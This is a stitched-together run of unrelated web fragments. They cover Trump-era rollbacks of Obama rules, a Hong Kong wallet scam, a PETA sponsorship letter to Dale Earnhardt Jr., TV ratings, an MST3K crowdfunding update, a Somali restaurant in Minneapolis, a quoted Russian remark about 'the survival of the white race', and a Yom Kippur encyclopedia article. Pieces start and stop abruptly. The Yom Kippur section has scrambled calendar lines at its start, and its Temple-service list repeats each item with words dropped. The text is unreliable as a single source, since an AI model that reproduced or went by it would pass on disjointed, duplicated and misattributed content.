In October, the Environmental Protection Agency announced that it would eliminate the centerpiece of Obama’s climate-change strategy. In 2015, the Obama administration finalized the Clean Power Plan, which sought to reduce power-sector emissions by 32 percent by 2030, relative to 2005 levels. The plan required states to hit certain emissions targets in order to cut greenhouse gases, reducing the country’s reliance on fossil fuels and boosting clean-energy sources. EPA chief Scott Pruitt said that repealing the measure meant that "the war against coal is over."
The Supreme Court had already halted the plan after legal challenges by a group of states and industry stakeholders, and a federal appeals court is reviewing the measure. Meanwhile, the EPA said it is moving to rescind the plan and replace it with an alternative.
Killed net neutrality
In mid-December, the Federal Communications Commission voted along party lines to eliminate rules requiring internet service providers (ISPs) to treat all internet traffic equally. The Obama-era rules prohibited ISPs from blocking or slowing down access to specific websites, or charging more for paid "fast lanes." (Comcast, the parent company of NBC News, said shortly before the vote that it has not paid for fast lanes or prioritize internet traffic, and has "no plans to do so.")
While the FCC is an independent agency, Trump named Ajit Pai as its chairman shortly after taking office in January. Pai criticized the net neutrality rules as unnecessary impediments to innovation and competition that would ultimately hurt consumers. The agency’s controversial vote has already prompted a fierce backlash: Democrats have vowed to reinstate net neutrality through congressional procedure, while New York’s attorney general said he would take the lead in suing on behalf of several states to block the decision.
Delayed a methane rule
Trump’s Interior Department delayed a rule to limit methane emissions from oil and gas operations on federal lands, pushing back implementation until 2019. The Obama rule had aimed to cut down on leaks, and the venting and flaring of methane gas, which has increased with the rise of hydraulic fracturing. Methane makes up 10 percent of greenhouse gas emissions and is a more powerful pollutant than carbon dioxide.
Federal courts had blocked Trump’s earlier attempt to stop the methane rule, and a congressional push to stop the rule fell short this year. But the administration has continued to persist in its efforts to halt the measure, which the fossil-fuel industry has criticized as unnecessary and burdensome.
Revoked guidance on campus sexual assault
In September, the Education Department rescinded Obama’s guidelines for addressing sexual assault on college campuses under Title IX, which prohibits discrimination by sex in any federally funded education program. The Obama administration had instructed colleges to use a "preponderance of evidence" when evaluating sexual assault cases.
Trump’s education secretary, Betsy DeVos, said that standard was unfair.
"Schools have been compelled by Washington to enforce ambiguous and incredibly broad definitions of assault and harassment," she said in September, adding that "if everything is harassment, then nothing is."
Instead, the Education Department has told institutions to use a standard of “clear and convincing evidence” in sexual assault cases.
Used Congress to overturn Obama-era rules
With the Trump administration’s support, the Republican-controlled Congress killed more than a dozen Obama-era regulations by using an obscure legislative tool known as the Congressional Review Act. The procedure gives Congress 60 legislative working days to overturn a rule after it is published in the Federal Register.
The White House and Congress used the act to nullify rules that Obama imposed in the last days of his administration: They overturned new limits on gun sales to those with severe mental illness; undid requirements for employers to keep records on workplace injuries and illnesses for five years; and repealed restrictions on internet service providers’ ability to use and sell personal data, including web-browsing history, among other regulatory changes.
Police told HKFP that the woman, surnamed Kwok, was apprehended in a flat in Yau Ma Tei on suspicion of obtaining property by deception.
The victim – a 17-year-old student – said she was approached by the suspect outside the MTR entrance near Fife Street in Mong Kok last Friday.
Kwok told the student that she had just returned to Hong Kong from abroad and lost her wallet. She claimed she needed money to seek medical assistance and rent a hotel room, HK01 reported.
The student believed Kwok’s words and took out HK$12,360 from her bank account.
“The suspect claimed she would repay the amount as soon as possible, but of course the victim was unable to contact her afterwards,” a police investigator said.
Police alleged that the suspect took advantage of young people’s sympathy and may be involved in other similar cases.
Investigators said two university students aged 18 and 20 also reported giving HK$2,500 and HK$3,800 to a woman who claimed that she had lost her wallet and that her phone had run out of power.
Police described the suspect as being between 30 and 35 years old, 1.5 metres tall, slender and long-haired.
They advised the public not to lend money to strangers without verifying their identity and contact information. People with similar experiences are urged to report to the Mong Kok Police Station.
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It's been wildly reported that Dale Earnhardt Jr., the NASCAR Sprint Cup Series, reining Most Popular Driver, is still looking for some sponsors. In fact, Hendrick Motorsports, Earnhardt's team, has yet to find sponsorship for 13 Sprint Cup races (although with an owner that just spent a million on a Corvette, it's unlikely Earnhardt Jr. is going to miss any races).
Anyway, apparently the folks over at People for the Ethical Treatment of Animals heard about the open space on Earnhardt Jr.'s car. And they want some of it...for free.
The animal rights organization wrote the driver a letter on Thursday, asking him to consider putting the campaign's logo on his No. 88 car.
"I'm writing today after reading that sponsorship this season is at a low because I hope that you'll consider using the available space on your beautiful car as an opportunity to spread a lifesaving spay-and-neuter message that would spare countless dogs and cats in your home state tremendous suffering," wrote Michelle Cho, PETA's associate director. "... By placing a message on your car that encourages people to have their animals spayed or neutered, you would be reaching countless NASCAR fans with the lifesaving message that fixing animals helps curb the overpopulation of dogs and cats and drastically reduces suffering."
Hendrick Motorsports had no official comment on the PETA request, but I'm going to go out on a limb and say it probably isn't going to happen.
Check out the full text of the letter, sent by PETA Associate Director Michelle Cho:
Dear Dale,
I hope this message finds you well. You can count all of us here at PETA—the world's largest animal protection organization, with more than 3 million members and supporters—among your many fans who will be cheering you on this racing season.
I'm writing today after reading that sponsorship this season is at a low because I hope that you'll consider using the available space on your beautiful car as an opportunity to spread a lifesaving spay-and-neuter message that would spare countless dogs and cats in your home state tremendous suffering.
In North Carolina, PETA's Community Animal Project rescues local animals directly—crawling through sewers, poking through junkyards, climbing trees, dodging cars, and coaxing terrified strays to safety. We go into the very poorest of neighborhoods to deliver food, doghouses, and straw bedding to neglected animals who have never known a kind word or touch. And we don't give up. Our fieldworkers return to check on the animals and replace old bedding, check the doghouses, and make sure that the animals have food and water.
Our SNIP (Spay or Neuter Immediately, Please!) mobile veterinary clinic also provides no-cost to low-cost veterinary services in the most impoverished areas of North Carolina for families who cannot afford to have their animals fixed.
As you no doubt know, each year 6 to 8 million animals enter shelters in the U.S., and roughly half must be euthanized for lack of a good home. Others who never find a safe haven are left to roam the streets, creating even more litters, and succumb to weather extremes, disease, traffic injuries, and even abuse by cruel people. By placing a message on your car that encourages people to have their animals spayed or neutered, you would be reaching countless NASCAR fans with the lifesaving message that fixing animals helps curb the overpopulation of dogs and cats and drastically reduces suffering.
Thank you so much for your consideration. I look forward to hearing from you.
With kind regards,
Michelle Cho
Associate Director
The Department of Defense (DOD) is looking for a new heavy lift cargo plane to replace its ageing fleet of Lockheed C-5 Galaxies and Boeing C-17 Globemasters.
But rather than just settle for small improvements over the current designs, the Pentagon wants massive improvements in all areas of the aircraft. Its teamed up with NASA and Lockheed Martin to develop a truly revolutionary plane that looks like something our of a movie yet is based on current technologies that are easy to produce.
"What prevented him from bringing a laptop to work every day and consulting the files?" said Judge William Alsup, according to Reuters.
Uber says its technology is different to that used at Google and maintains that it does not have any of the allegedly stolen files on its systems.
The court banned Mr Levandowski from working on Uber's self-driving car technology earlier this month as proceedings began.
So it looks like God has taken a runner and the slate in Annville, Texas has been wiped clean – which is not the case for Preacher the TV series. The Dominic Cooper-led AMC show based on Garth Ennis and Steve Dillon’s comics wrapped up its first season on Sunday night with some good news amidst all the bad news on-screen.
The Seth Rogen, Evan Goldberg and Sam Catlin EP series pulled in 1.722 million total viewers with 765,000 among adults 18-49 for its “Call and Response” July 31 episode. Even with its “Finish The Song” show of July 24 in the key demo and bopping up 6% in the 25-54 demo to 686,000, Preacher saw a rise of 10% in total viewers over the week before.
While down 28% from its May 22 pilot debut, which followed the strong S2 midseason finale of Fear The Walking Dead, the S1 Preacher finale was actually the best the series has done in total viewers since its June 2 airing. That “The Possibilities” episode drew 1.75 million viewers.
Perhaps more significantly for the series, which has proven one of the top 10 overall cable dramas of the year, the S1 finale numbers have resulted in a 1.711 million season average in overall audience. Key demo-wise, Preacher has averaged around 803,000 and among the 25-54s, it has around 904,000 – all of which must be leaving AMC pretty happy.
In Live + 3 results, Preacher has been averaging around 3 million viewers per episode over the first nine shows of its 10-episode first season so we’ll see later this week if that stays steady too when AMC drop those numbers.
Let’s try to savor this. Thanks to each of you, the re-jiggered MST3K has been in the world for almost a month, and now everyone knows what we’ve been working on for the last 18 months. I do hope you’re enjoying having it out and about on Netflix for all the world to see!
On a personal level, I’m really thrilled with how folks have responded. Also, thank you for all of your kind words and encouragement here on Kickstarter, and on Facebook and Twitter.
We’ve gotten some wonderful messages over the last few weeks, but you know, I think this might be one of the most exciting: a week after our Netflix debut, Lin-Manuel Miranda – Broadway luminary, and author of the smash hit musical Hamilton – tweeted this:
Also, I'm really happy that the press has been so kind and enthusiastic. Mostly, they seem pleased that we stayed funny, smart, didn’t go too dark or dirty and didn’t derail the brand along the way. Whew! Here's the most measurable scale, if you pay attention to this kind of thing:
That's right – even a month after the premiere, we're still scoring 100 percent on the Rotten Tomatoes "Tomatometer." (Which is actually pretty rare!)
Anyway, I'm not telling you all of this to brag, but because I want you to understand how important it was that we made the new season the way we did – together. Like I said from the beginning, it was really important to me that we bring the show to all of you first. And because we did, we had the freedom and the time to really do things right, and to find our way back into the world of Mystery Science Theater. So yeah:
The important thing to remember, when you see all of these good reviews and fun feedback, is that you made this possible.
I know I've said it before, but I'll never forget that, and I really can't thank you enough.
MST3K + Stranger Things
If you didn't see it yet, we teamed up with Netflix to shoot a fun little clip to celebrate the launch of the new season. As you know, we don't usually riff on great movies, but we made an exception just this once to let Jonah and the bots spend a few minutes riffing another great Netflix show, Stranger Things:
This came together pretty quickly, but I think it's a lot of fun, and I hope it'll help some new folks discover what we do on Mystery Science Theater.
Also, the star of the riff was a really great sport about it:
Thanks, David – we're really big fans! You know, Mitchell never got that kind of response from Joe Don Baker. Maybe this means our time has finally come!
The last couple years have been an incredible (and sometimes) scary adventure. And now, thanks to you believing in the next MST3K, even more interesting things starting to happen. I’m excited to start revealing some of those developments as we go, because we've actually been busier than ever this month, getting to work on the next big chapter in the return of MST3K.
That's something I can only hint at right now, which could be a live MST3K tour. (Hint, Hint.) But listen, if everything goes according to plan, I'll be able to tell you more about that next week.
Also, there are a lot of updates to share about your Kickstarter rewards, our plan to set up a "weekly viewing schedule" for the new season, and your last chance to buy some more Add-On Rewards. So. I've asked Ivan to write a separate update, and send that to you tomorrow, so you don't miss something important.
Cheers and Thanks!
The restaurant looks 100 percent American. But the food is distinctly Somali.
As we sit down in a corner booth to chat, owner Abdirahman Kahin brings me a cup of tea from his home country. It's milky and flavorful, a hot chai spiced with ginger and cinnamon. It's delicious even at the end of August, but I imagine it would go down even better during the bitterly cold Minnesota winter. Later, I try what Kahin tells me is one of the most popular items on the menu: sambusas, a sort of afro-pierogi, deep fried and filled with a mixture of beef, lamb, spinach, lentils, and cilantro. It's savory, but milder than I'd expected after trying the tea. "Minnesota spicy," Kahin says with a grin, a concession to the tastes of the Nordic population that is a majority in the state.
From the open quick-service kitchen comes the sweet sound of sizzling meat, as a line cook grills up some Somali steak sandwiches—think cheesesteaks without the Cheez Whiz, topped with diced tomatoes and fried onions, and served on focaccia bread instead of a hard roll. Focaccia is common in Somali dishes, Kahin tells me, appropriated from the Italians who colonized the region in the mid-1800s.
"People don't discriminate about food," he says. "They don't really care where the food came from, as long as it tastes good."
It's hard to argue with him. On this Tuesday near lunchtime, the Afro Deli is packed with college students and university employees, seemingly thrilled to be eating something other than a burger or a sub—to have a lunch that's possible because of America's willingness to accept strangers from foreign lands.
The Twin Cities are home to more than 25,000 Somali immigrants, the largest such community anywhere in the world outside of Africa. That so many Somalis, who hail from a place where the weather alternates between hot and dry and hot and wet, would end up in Minnesota seems a bit surprising. But decades of immigration to the area have established a community that welcomes newcomers.
In the early 1990s, the United States agreed to accept a flow of refugees from the Horn of Africa after Somalia's government collapsed amid a regional civil war that killed thousands and displaced millions more. Minneapolis took in the first wave, and more have followed in the 25 years since. In 2015, the most recent year for which complete data is available, over 8,800 Somali refugees were resettled in the United States, with more taking up residence in Minnesota than in any other state.
The largest group resides in the Cedar-Riverside neighborhood—wedged between downtown Minneapolis, the University of Minnesota's main campus, and the winding Mississippi River—but there are pockets of Somalis scattered across the city, and growing numbers live in places such as St. Cloud and Mankato as well.
When Kahin arrived in Minnesota in 1997, he was 20 years old. He worked for a video production company and eventually ran his own video business, mostly filming weddings, while earning an MBA from nearby St. Thomas University. After that, he entered the restaurant industry. His route from Somalia to the Afro Deli is a combination of hard work and good fortune, but one wonders how many others like Kahin have been denied the chance—by the stroke of a bureaucrat's pen or by order of the White House—to follow that same narrow path.
The Afro Deli is still the exception—most Somali-owned businesses are geared toward serving the immigrant community itself. The main drag in Cedar-Riverside is a collection of halal markets, coffee shops, and small-scale service businesses owned by Somalis, with a primarily Somali clientele.
That's where Kahin got his start. The first iteration of his restaurant opened in 2010 along Cedar Avenue, but it soon proved to be a popular spot for students from the nearby university. So earlier this year, it moved to the new location in the heart of the campus. Another location recently opened in downtown St. Paul.
In the last five or six years, he says, local Somalis have been branching out. His café is part of "bridging the gap."
That has been a challenge for the Somali community in Minnesota, as it has been for nearly every immigrant community throughout American history. Minneapolis has one of the lowest crime rates among major American cities, but the incidence is relatively higher in Somali neighborhoods. At over 13 percent, unemployment in the Cedar-Riverside neighborhood is twice what it is in the city as a whole.
And there are concerns about terrorism. Dahir Adan, a Somali who came to America on a refugee visa, stabbed 10 shoppers and employees at a St. Cloud mall in September 2016—likely motivated "by some sort of inspiration from radical Islamic groups," according to then–FBI Director James Comey. Earlier in the year, nine Somalis living in Minneapolis were arrested after planning to move to Syria and join ISIS. Three were convicted in federal court; the other six pleaded guilty. The FBI has launched a special task force with the intent of countering extremism in the Muslim community in the Twin Cities.
Immigrants and refugees don't arrive in America empty-handed, of course. They bring their religions, their holidays, and their politics. But they also bring their desire for a better life, for education and for jobs, or just for a chance to escape something worse. That America has for so long been a destination of choice for those fleeing despotism, war, famine, and economic misfortune is one of the nation's best qualities.
They also bring delicious food. Twin Cities residents now have one more choice on Washington Avenue beyond the Starbucks and the college bars. And if the Afro Deli's popularity is any indication, they're happier for it.
In the front window, a sign advertises that the restaurant has been named an "official vendor" of Super Bowl 52, which will be hosted at U.S. Bank Stadium, less than a mile away on the east side of downtown Minneapolis, next February. The designation doesn't actually mean much. From a pool of more than 1,000 businesses, some 400 were selected for the not-so-prestigious honor of advertising themselves as "official partners" of the big game. Still, there's symbolism in having the most quintessential American sporting event promoted in a Somali-owned business, and Kahin is proud to have been picked by the host committee.
“What is now at stake is the survival of the white race. We feel this in Russia,” he told the BBC. “We want to make sure the mixing of blood happens in the right way here, and not the way it has happened in Western Europe where the results have not been good.” Russia needed immigrants “of the Slavic group” more than any others, he added.
Here is the BBC video:
It is the me that wants to settle for an average life. To be ordinary. To justify my own failures by those of the ones around me. It is the me that is upset by the success of others who have worked harder than me. The me that won’t face the pain. That hides in an ocean of distraction that erodes the fabric of my existence.
Every time I step up to that bag, I am the man I want to be. The one who is not afraid to dream. To desire more from himself than anybody else could. It is the me that stands up for myself, for what I want to accomplish. For my strengths and my weaknesses. The me that refuses to stay down.
nightfall, 19 September 2019 date Sunset, 8 October –
nightfall, 9 October 2020 date Sunset, 27 September –
nightfall, 28 September 2021 date Sunset, 15 September –
nightfall, 16 September Related to Rosh Hashanah, which precedes Yom Kippur
Yom Kippur (;[1] Hebrew: יוֹם כִּיפּוּר, IPA: [ˈjom kiˈpuʁ], or יום הכיפורים), also known as the Day of Atonement, is the holiest day of the year in Judaism.[2] Its central themes are atonement and repentance. Jewish people traditionally observe this holy day with an approximate 25-hour period of fasting and intensive prayer, often spending most of the day in synagogue services.
Etymology [ edit ]
Yom means "day" in Hebrew and Kippur comes from a root that means "to atone". Yom Kippur is usually expressed in English as "Day of Atonement".
Rosh Hashanah and Yom Kippur [ edit ]
Yom Kippur is "the tenth day of [the] seventh month"[3] (Tishrei) and is regarded as the "Sabbath of Sabbaths". Rosh Hashanah (referred to in the Torah as Yom Teruah) is the first day of that month according to the Hebrew calendar. On this day forgiveness of sins is also asked of God.
Yom Kippur completes the annual period known in Judaism as the High Holy Days or Yamim Nora'im ("Days of Awe") that commences with Rosh Hashanah.
Heavenly books opened [ edit ]
According to Jewish tradition, God inscribes each person's fate for the coming year into a book, the Book of Life, on Rosh Hashanah, and waits until Yom Kippur to "seal" the verdict. During the Days of Awe, a Jew tries to amend his or her behavior and seek forgiveness for wrongs done against God (bein adam leMakom) and against other human beings (bein adam lechavero). The evening and day of Yom Kippur are set aside for public and private petitions and confessions of guilt (Vidui). At the end of Yom Kippur, one hopes that they have been forgiven by God.
Prayer service [ edit ]
The Yom Kippur prayer service includes several unique aspects. One is the actual number of prayer services. Unlike a regular day, which has three prayer services (Ma'ariv, the evening prayer; Shacharit, the morning prayer; and Mincha, the afternoon prayer), or a Shabbat or Yom Tov, which have four prayer services (Ma'ariv; Shacharit; Mussaf, the additional prayer; and Mincha), Yom Kippur has five prayer services (Ma'ariv; Shacharit; Musaf; Mincha; and Ne'ilah, the closing prayer). The prayer services also include private and public confessions of sins (Vidui) and a unique prayer dedicated to the special Yom Kippur avodah (service) of the Kohen Gadol (high priest) in the Holy Temple in Jerusalem.
Observance [ edit ]
As one of the most culturally significant Jewish holidays, Yom Kippur is observed by many secular Jews who may not observe other holidays. Many secular Jews attend synagogue on Yom Kippur—for many secular Jews the High Holy Days are the only times of the year during which they attend synagogue[4]—causing synagogue attendance to soar.
Preceding day [ edit ]
Erev Yom Kippur (lit. "eve [of] day [of] atonement") is the day preceding Yom Kippur, corresponding to the ninth day of the Hebrew month of Tishrei. This day is commemorated with additional morning prayers, asking others for forgiveness, giving charity, performing the kapparot ritual, an extended afternoon prayer service, and two festive meals.[5]
General observances [ edit ]
Leviticus 16:29 mandates establishment of this holy day on the 10th day of the 7th month as the day of atonement for sins. It calls it the Sabbath of Sabbaths and a day upon which one must afflict one's soul.
Leviticus 23:27 decrees that Yom Kippur is a strict day of rest.
Five additional prohibitions are traditionally observed, as detailed in the Jewish oral tradition (Mishnah tractate Yoma 8:1).
The number five is a set number, relating to:
In the Yom Kippur section of the Torah, the word soul appears five times. The soul is known by five separate names: soul, wind, spirit, living one and unique one. Unlike regular days, which have three prayer services, Yom Kippur has five- Maariv, Shacharis, Mussaf, Minchah and Neilah The Kohen Gadol rinsed himself in the mikveh (ritual bath) five times on Yom Kippur.[6]
The traditions are as follows:
No eating and drinking No wearing of leather shoes No bathing or washing No anointing oneself with perfumes or lotions No marital relations
A parallel has been drawn between these activities and the human condition according to the Biblical account of the expulsion from the garden of Eden.[7] Refraining from these symbolically represents a return to a pristine state, which is the theme of the day. By refraining from these activities, the body is uncomfortable but can still survive. The soul is considered to be the life force in a body. Therefore, by making one’s body uncomfortable, one’s soul is uncomfortable.[7] By feeling pain one can feel how others feel when they are in pain.[8] This is the purpose of the prohibitions.
Total abstention from food and drink as well as keeping the other traditions begins at sundown, and ends after nightfall the following day. One should add a few minutes to the beginning and end of the day, called tosefet Yom Kippur, lit. "addition to Yom Kippur". Although the fast is required of all healthy men over 13 or women over 12, it is waived in the case of certain medical conditions.
Virtually all Jewish holidays involve meals, but since Yom Kippur involves fasting, Jewish law requires one to eat a large and festive meal on the afternoon before Yom Kippur, after the Mincha (afternoon) prayer. This meal is meant to make up for the inability to eat a large meal on the day of Yom Kippur instead, due to the prohibition from eating or drinking.
Wearing white clothing (or a kittel for Ashkenazi Jews), is traditional to symbolize one's purity on this day. Many Orthodox men immerse themselves in a mikveh on the day before Yom Kippur.[9]
In order to gain atonement from God, one must:[6]
Pray Repent of one's sins Give to charity
Eve [ edit ]
Before sunset on Yom Kippur eve, worshipers gather in the synagogue. The Ark is opened and two people take from it two Sifrei Torah (Torah scrolls). Then they take their places, one on each side of the Hazzan, and the three recite (in Hebrew):
In the tribunal of Heaven and the tribunal of earth, we hold it lawful to pray with transgressors.
The cantor then chants the Kol Nidre prayer (Aramaic: כל נדרי, English translation: "All vows"). It is recited in Aramaic. Its name "Kol Nidre" is taken from the opening words, and translates "All vows":
All personal vows we are likely to make, all personal oaths and pledges we are likely to take between this Yom Kippur and the next Yom Kippur, we publicly renounce. Let them all be relinquished and abandoned, null and void, neither firm nor established. Let our personal vows, pledges and oaths be considered neither vows nor pledges nor oaths.[10]
The leader and the congregation then say together three times "May all the people of Israel be forgiven, including all the strangers who live in their midst, for all the people are in fault." The Torah scrolls are then placed back into the Ark, and the Yom Kippur evening service begins.
Prayer services [ edit ]
Some married Ashkenazi Orthodox men wear a kittel, a white robe-like garment for evening prayers on Yom Kippur, otherwise used by males on their wedding day.[11][12] They also wear a tallit (prayer shawl), which is typically worn only during morning services.[13]
Prayer services begin with the Kol Nidrei prayer, which is recited before sunset. Kol Nidre is a prayer that dates back to 9th century Palestine. It is recited in a dramatic manner, before the open ark, using a melody that dates back to the 16th century.[14] Then the service continues with the evening prayers (Ma'ariv or Arvit) and an extended Selichot service.
The morning prayer service is preceded by litanies and petitions of forgiveness called selichot; on Yom Kippur, many selichot are woven into the liturgy of the mahzor (prayer book). The morning prayers are followed by an added prayer (Mussaf) as on all other holidays. This is followed by Mincha (the afternoon prayer) which includes a reading (Haftarah) of the entire Book of Jonah, which has as its theme the story of God's willingness to forgive those who repent.
The service concludes with the Ne'ila ("closing") prayer, which begins shortly before sunset, when the "gates of prayer" will be closed. Yom Kippur comes to an end with a recitation of Shema Yisrael and the blowing of the shofar,[15] which marks the conclusion of the fast.[13]
Repentance (Teshuva) and confessional (Vidui) [ edit ]
The Talmud states, "Yom Kippur atones for those who repent and does not atone for those who do not repent".[16] Repentance in Judaism is done through a process called Teshuva, which in its most basic form consists of regretting having committed the sin, resolving not to commit that sin in the future and to confess that sin before God. Confession in Judaism is called Vidui (Hebrew וידוי). There is also a commandment to repent on Yom Kippur.[17] Accordingly, Yom Kippur is unique for the confessional, or Vidui, that is part of the prayer services. In keeping with the requirement to repent on Yom Kippur, Jews recite the full Vidui a total of 9 times: once during Mincha on Yom Kippur eve, and on Yom Kippur itself during Ma'ariv (2 times), Shacharit (2 times), Musaf (2 times), and Mincha (2 times); at Ne’eilah, only the short confessional is said. The first time in each service takes place during the personal recitation of the Amidah (standing, silent prayer), and the second time during the cantor's repetition of the Amidah (except during the preceding Mincha), in a public recitation.
The Yom Kippur confessional consists of two parts: a short confession beginning with the word Ashamnu (אשמנו, "we have sinned"), which is a series of words describing sin arranged according to the aleph-bet (Hebrew alphabetic order), and a long confession, beginning with the words Al Cheyt (על חטא, "for the sin"), which is a set of 22 double acrostics, also arranged according to the aleph-bet, enumerating a range of sins. It is notable that during the public recitation of Ashamnu together with the cantor, the entire congregation sings these words to a tune, representing the joy of being cleansed from one's sins.
Avodah: remembering the Temple service [ edit ]
A recitation of the sacrificial service of the Temple in Jerusalem traditionally features prominently in both the liturgy and the religious thought of the holiday. Specifically, the Avodah ("service") in the Musaf prayer recounts in great detail the sacrificial ceremonies of the Yom Kippur Korbanot (sacrificial offerings) that are recited in the prayers but have not been performed for 2,000 years, since the destruction of the Second Temple in Jerusalem by the Romans.
This traditional prominence is rooted in the Babylonian Talmud’s description of how to attain atonement following the destruction of the Temple. According to Talmud tractate Yoma, in the absence of a Temple, Jews are obligated to study the High Priest’s ritual on Yom Kippur, and this study helps achieve atonement for those who are unable to benefit from its actual performance. In Orthodox Judaism, accordingly, studying the Temple ritual on Yom Kippur represents a positive rabbinically ordained obligation which Jews seeking atonement are required to fulfill.
In Orthodox synagogues and many Conservative ones a detailed description of the Temple ritual is recited on the day. In most Orthodox and some Conservative synagogues, the entire congregation prostrates themselves at each point in the recitation where the Kohen Gadol (High Priest) would pronounce the Tetragrammaton (God’s holiest name, according to Judaism).
The main section of the Avodah is a threefold recitation of the High Priest’s actions regarding expiation in the Holy of Holies. Performing the sacrificial acts and reciting Leviticus 16:30, ("Your upright children"). (These three times, plus in some congregations the Aleinu prayer during the Musaf Amidah on Yom Kippur and Rosh Hashanah, are the only times in Jewish services when Jews engage in prostration, with the exception of some Yemenite Jews and talmedhei haRambam (disciples of Maimonides) who may prostrate themselves on other occasions during the year.) A variety of liturgical poems are added, including a poem recounting the radiance of the countenance of the Kohen Gadol after exiting the Holy of Holies, traditionally believed to emit palpable light in a manner echoing the Torah's account of the countenance of Moses after descending from Mount Sinai, as well as prayers for the speedy rebuilding of the Temple and the restoration of sacrificial worship. There are a variety of other customs, such as hand gestures to mime the sprinkling of blood (one sprinkling upwards and seven downwards per set of eight).[18]
Orthodox liturgies include prayers lamenting the inability to perform the Temple service and petitioning for its restoration, which Conservative synagogues generally omit. In some Conservative synagogues, only the Hazzan (cantor) engages in full prostration. Some Conservative synagogues abridge the recitation of the Avodah service to varying degrees, and some omit it entirely.
Reform synagogues generally experience their largest attendance of the year on Yom Kippur and Rosh Hashanah for worship services. The prayer philosophy of Reform, as described in the introduction of the movement's High Holy Day prayerbook, "Mishkan Hanefesh", is to reflect "varied theological approaches that enable a diverse congregation to share religious experience... with a commitment to Reform tradition, as well as [to] the larger Jewish tradition." A central feature of Reform these services is the rabbinic sermon. "For more than a century and a half in the Reform Movement," writes Rabbi Lance Sussman, "High Holiday sermons were among the most anticipated events in synagogue life, especially on the eve of Rosh Hashanah and Kol Nidre night."[19] Reconstructionist services omit the entire service as inconsistent with modern sensibilities.
Yom Kippur falls each year on the 10th day of the Jewish month of Tishrei, which is 9 days after the first day of Rosh Hashanah. In terms of the Gregorian calendar, the earliest date on which Yom Kippur can fall is September 14, as happened most recently in 1899 and 2013. The latest Yom Kippur can occur relative to the Gregorian dates is on October 14, as happened in 1967 and will happen again in 2043. After 2089, the differences between the Hebrew calendar and the Gregorian calendar will result in Yom Kippur falling no earlier than September 15.[20] Gregorian calendar dates for recent and upcoming Yom Kippur holidays are:
Sunset, 11 October 2016 – nightfall, 12 October 2016
Sunset, 29 September 2017 – nightfall, 30 September 2017
Sunset, 18 September 2018 – nightfall, 19 September 2018
Sunset, 8 October 2019 – nightfall, 9 October 2019
Sunset, 27 September 2020 – nightfall, 28 September 2020
Sunset, 15 September 2021 – nightfall, 16 September 2021
Sunset, 4 October 2022 – nightfall, 5 October 2022
Sunset, 24 September 2023 – nightfall, 25 September 2023
In the Torah [ edit ]
The Torah calls the day Yom HaKippurim (יוֹם הַכִּיפּוּרִים) and in it Leviticus 23:27 decrees a strict prohibition of work and affliction of the soul upon the tenth day of the seventh month, later known as Tishrei. The laws of Yom Kippur are mentioned in three passages in the Torah:
Leviticus 16:1–34: God told Moses to tell Aaron that he can only enter the sanctuary in front of the cover that is on the ark when God is present on the cover in a cloud. If Aaron is to enter otherwise, he will die. On the tenth day of the seventh month, God said that the people must not work in order to cleanse and atone for their sins. The Kohen will lead in the atonement of all the people. Leviticus 23:26–32: God said to Moses that the tenth day of the month is the day of atonement and will be holy. The people must give a fire-offering to God and must not work. God told Moses that whoever does work, God will rid of the soul from its people. This is a day of complete rest from the evening of the ninth day of the month to the following evening. Numbers 29:7–11: The tenth day of the seventh month is a holy day and one must not work. For an elevation offering, one must sacrifice a young bull, a ram and seven lambs who are a year old. As well, for a sin offering, one must sacrifice a male goat.[6]
Midrashic interpretation [ edit ]
Traditionally, Yom Kippur is considered the date on which Moses received the second set of Ten Commandments. It occurred following the completion of the second 40 days of instructions from God. At this same time, the Israelites were granted atonement for the sin of the Golden Calf; hence, its designation as the Day of Atonement.[21]
Mishnaic and Talmudic literature [ edit ]
Temple service [ edit ]
The following summary of the Temple service is based on the traditional Jewish religious account described in Mishnah tractate Yoma, appearing in contemporary traditional Jewish prayer books for Yom Kippur, and studied as part of a traditional Jewish Yom Kippur worship service.[18]
While the Temple in Jerusalem was standing (from Biblical times through 70 CE), the Kohen Gadol (High Priest) was mandated by the Torah to perform a complex set of special services and sacrifices for Yom Kippur to attain Divine atonement, the word "kippur" meaning "atone" in Hebrew. These services were considered to be the most important parts of Yom Kippur because through them the Kohen Gadol made atonement for all Jews and the world. During the service, the Kohen Gadol entered the Holy of Holies in the center of the Temple, the only time of the year that anyone went inside. Doing so required special purification and preparation, including five immersions in a mikvah (ritual bath), and four changes of clothing.
Seven days prior to Yom Kippur, the Kohen Gadol was sequestered in the Palhedrin chamber in the Temple, where he reviewed (studied) the service with the sages familiar with the Temple, and was sprinkled with spring water containing ashes of the Red Heifer as purification. The Talmud (Tractate Yoma) also reports that he practiced the incense offering ritual in the Avitnas chamber.
On the day of Yom Kippur, the Kohen Gadol had to follow a precise order of services, sacrifices, and purifications:
Morning (Tamid) Offering The Kohen Gadol first performed the regular daily ( Tamid ) offering—usually performed by ordinary priests—in special golden garments, after immersing in a mikvah and washing his hands and feet.
The Kohen Gadol first performed the regular daily ( ) offering—usually performed by ordinary priests—in special golden garments, after immersing in a and washing his hands and feet. Garment Change 1 The Kohen Gadol immersed in a special mikvah in the Temple courtyard and changed into special linen garments, and washed his hands and feet twice, once after removing the golden garments and once before putting on the linen garments.
The Kohen Gadol immersed in a special in the Temple courtyard and changed into special linen garments, and washed his hands and feet twice, once after removing the golden garments and once before putting on the linen garments. Bull as Personal Sin-Offering The Kohen Gadol leaned (performed Semikha) and made a confession over the bull on behalf of himself and his household, pronouncing the Tetragrammaton. The people prostrated themselves when they heard. He then slaughtered the bull as a chatat (sin-offering) and received its blood in a bowl.
The Kohen Gadol leaned (performed and made a confession over the bull on behalf of himself and his household, pronouncing the Tetragrammaton. The people prostrated themselves when they heard. He then slaughtered the bull as a (sin-offering) and received its blood in a bowl. Lottery of the goats At the Eastern (Nikanor) gate, the Kohen Gadol drew lots from a lottery box over two goats. One was selected "for the Lord", and one "for Azazel". The Kohen Gadol tied a red band around the horns of the goat "for Azazel".
At the Eastern (Nikanor) gate, the Kohen Gadol drew lots from a lottery box over two goats. One was selected "for the Lord", and one "for Azazel". The Kohen Gadol tied a red band around the horns of the goat "for Azazel". Incense Preparation The Kohen Gadol ascended the mizbeach (altar) and took a shovel full of embers with a special shovel. He was brought incense. He filled his hands and placed it in a vessel. (The Talmud considered this the most physically difficult part of the service, as the Kohen Gadol had to keep the shovelful of glowing coals balanced and prevent its contents from dropping, using his armpit or teeth, while filling his hands with the incense.)
